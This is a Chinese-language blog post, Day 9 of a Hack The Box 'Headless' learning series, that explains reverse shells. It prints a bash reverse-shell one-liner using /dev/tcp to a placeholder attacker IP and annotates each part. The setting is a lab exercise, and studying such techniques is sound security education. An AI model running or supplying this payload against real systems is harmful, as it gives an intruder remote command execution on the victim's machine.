iT邦幫忙

2024 iThome 鐵人賽

DAY 9
0
Security

HTB_Headless系列 第 9

[Day 9]HTB_Headless(Reverse Shell_01)

  • 分享至 

  • xImage
  •  

HTB練習紀錄 — Headless

  • Reverse Shell

來到筆者為何參加這次鐵人賽的初衷了。
上回說到可以嘗試對initdb.sh進行攻擊,然而針對如何攻擊、什麼算是攻擊這點我是一無所知。因此這之後會以參考並解釋Headless Hack The Box (HTB) Write-Up 。這篇的攻擊手法為主。
並且這次趁這個機會,寫下關於面對Reverse Shell時的疑惑,嘗試解釋、運用這個技術。


Reverse Shell

Reverse Shell 是一種常見的網絡安全技術。由目標系統(被控系統)主動連接到攻擊者的系統(控制系統),這樣可以繞過一些防火牆或網絡安全機制。

後續程式分析出自Headless Hack The Box (HTB) Write-Up

為何要使用Reverse Shell?

ChatGPT

  1. 突破防火牆:Reverse shell 使攻擊者能夠通過受害者的機器發起連接,通常受害者的機器會被設置為主動發起連接,這樣就能夠突破防火牆或 NAT 設置,因為防火牆通常會允許從內部網絡發起的連接。
  2. 控制權限:攻擊者可以通過 reverse shell 獲得目標系統的控制權,進行各種操作,比如查看文件、執行命令或安裝其他工具。
  3. 維持連接:在某些情況下,攻擊者可能會使用 reverse shell 來保持持久的連接,即使目標系統的 IP 地址發生變化,連接也不會中斷。
  4. 繞過入侵檢測系統:許多入侵檢測系統(IDS)和入侵防禦系統(IPS)會檢測入站流量,而 reverse shell 的連接是由目標機器主動發起的,因此可能不容易被發現。
  5. 安全測試和滲透測試:在合法的安全測試和滲透測試中,reverse shell 是一種常用的工具,用來模擬攻擊者的行為並評估系統的安全性。

目前為止可以得知使用Reverse Shell有第2,3點的優點。
首先之前已經知道sudo無法使用,因此找到其他方法控制權限是必要的。
再者使用Repeater時,每次輸入一指令都必須send一次,長久下來終歸是不方便的。

如何使用Reverse Shell?

在進行 Reverse Shell 攻擊時,目的是讓被攻擊者的系統與攻擊者的系統建立一個反向的 shell 連接,使得攻擊者可以在被攻擊者的系統上執行命令。

以下是簡單的步驟來使用 Reverse Shell

  1. 建立 Payload.sh
  2. 建立HTTP 伺服器
  3. 設置接收端(Listener)
  4. 注入和執行 Reverse Shell

建立Payload.sh

https://ithelp.ithome.com.tw/upload/images/20240821/20168534UrPzrfWlnX.png

/bin/bash -c 'exec bash -i >& /dev/tcp/[your_IP]/1111 0>&1'

/bin/bash -c:

  • /bin/bash 是 Bash Shell 的路徑。
  • -c 參數告訴 Bash 執行後面引號中的命令。

exec bash -i >& /dev/tcp/[your_IP]/1111 0>&1:

  • exec 是一個 Bash 內建命令,用於替換當前進程映像,這裡用來啟動一個新的 Bash 實例。
  • bash -i 會啟動一個互動模式的 Bash Shell。這意味著新啟動的 Bash 實例會是互動式的,即它會等待用戶輸入並顯示輸出。
  • >& 是 Bash 的輸出重定向操作符,用來將標準輸出和標準錯誤輸出重定向到一個指定的位置。
  • /dev/tcp/[your_IP]/1111 是一種特殊的 Bash 伺服器端文件路徑,代表向 [your_IP] 上的 1111 端口建立 TCP 連接。(/dev/tcp 是一種伺服器端的虛擬文件系統,用於建立 TCP 連接。)
  • [your_IP]係指透過 HTB VPN 連線時所獲得的虛擬網路介面的 IP 位址。
    可參考[Day 5]HTB_Headless(Script Injection_02)
  • 0>&1 是將標準輸入 (0) 重定向到標準輸出 (1)。這意味著目標系統的標準輸入被設置為 TCP 連接的輸入流,這樣攻擊者就可以向目標系統發送命令並接收其輸出。

今日提問

  1. 受害者的系統為什麼會願意主動連接到攻擊者的系統?看答案
  2. Payload.sh 是什麼? 為何需要建立Payload? 如何使用Payload?看答案

參考來源:

  1. HTB_Headless
    Headless Hack The Box (HTB) Write-Up
  2. 兩種Shell的比較
    兩種Shell的比較 bind shell vs. reverse shell

下一篇[Day 10]HTB_Headless(Reverse Shell_01)


上一篇
[Day 8]HTB_Headless(Command Injection_02)
下一篇
[問答01]受害者的系統為什麼會願意主動連接到攻擊者的系統?
系列文
HTB_Headless30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言